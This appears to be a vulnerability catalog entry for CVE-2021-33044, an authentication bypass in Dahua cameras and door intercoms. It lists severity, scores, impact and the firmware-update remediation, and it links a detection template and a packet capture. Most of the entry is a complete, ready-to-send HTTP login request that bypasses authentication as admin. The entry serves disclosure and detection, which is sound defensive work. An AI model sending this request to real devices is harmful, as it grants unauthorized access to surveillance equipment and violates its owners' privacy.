| Title | Dahua IPC/VTH/VTO - Authentication Bypass |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | An attacker can gain unauthorized access to the device, potentially compromising the security and privacy of the system. |
| Remediation | Apply the latest firmware update provided by Dahua to fix the authentication bypass vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94269 |
| CVE ID | CVE-2021-33044 |
| CWE ID | CWE-287 |
| Tags | cve2021 cve dahua auth-bypass seclists dahuasecurity kev vkev vuln |
Some Dahua products contain an authentication bypass during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
POST /RPC2_Login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.0.) Gecko/20100101 Firefox/140.0.
Content-Length: 213
Accept: application/json, text/javascript, */*; q=0.01
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.victim.com
Referer: http://www.victim.com
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
{"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33044.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33044.pcap
N/AN/A